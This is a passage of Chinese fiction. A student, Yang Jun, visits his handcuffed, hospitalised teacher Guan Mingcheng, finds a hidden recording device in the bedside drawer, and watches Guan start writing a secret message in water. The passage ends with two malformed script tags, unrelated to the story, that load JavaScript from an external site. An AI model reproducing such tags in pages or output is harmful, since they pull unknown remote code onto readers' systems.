杨军没有多想,就随着张文兵和苏萍走进了106房间。
关明诚睡觉的铁床,紧靠着南面的窗户。
他躺在床上,面色很苍白,满脸的胡须,已经很长时间没刮了,头发很凌乱。
躺在那儿一动不动。右手插着输液管,左手向上伸展着,被手铐铐在床头的铁管上。
张文兵领着杨军和苏萍走进106房间时,关明诚听见了动静,没有睁眼,好像是他早已适应了这样的环境。
张文兵走到关明诚的床边,威严的对躺在床上的关明诚说:
“关明诚,你的学生杨军看你来了,你有什么话可以对杨军说”。
关明诚微微的睁开了双眼,看了一眼站在床边的张文兵,随后又把目光投向了杨军,脸上的肌肉抖抖动了一下。
喉咭也跟着蠕动了一下,好像是想要说什么,最后什么也没说。
只是轻轻的冲杨军点了一下头。杨军不知是什么情况,他刚要开口向关明诚问候,旁边的苏萍,先说话了:
“小张,你看这样行不行,你给我老太婆一个面子,咱们让杨军和关老师单独待上一会儿,也许他们师徒有什么话要说。又不方便当着你们公安人员的面说”。
张文兵冲苏萍笑了笑说:
“苏书记,您是我的领导,您说了算。当年在合江省妇委工作时,我们这些搞警卫工作的战士,都是在您领导下工作。既然您开口说了话,我能不照办吗”?
说完,张文兵冲身边的保卫干部使了个眼色,然后跟着苏萍走出了106房间。
杨军见张文兵随苏萍走出了房间,他上前去,紧紧的握住关明诚拷在铁床上的左手说:
“关老师,您受苦了,现在是什么情况,你和我说说”。
关明诚的身体很虚弱,但他还是艰难的坐了起来,示意杨军拔掉他左手上的输液针头,然后侧着身子。拉开床头柜的抽屉,杨军惊讶的张大了嘴,原来在床头柜的抽屉里放着一台微型窃听器,窃听器正在工作着。
录音盘在吱吱的转动着,杨军这下明白了,他和关老师的话现在被窃听着。
他和关老师这次会见显然是被人利用了,是谁要这么干?他们要干什么?
就在杨军不知所措的时候。
关明春又挣扎的坐直了身子。用右手沾着茶杯里的水,在桌子上写了一段简单的话。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">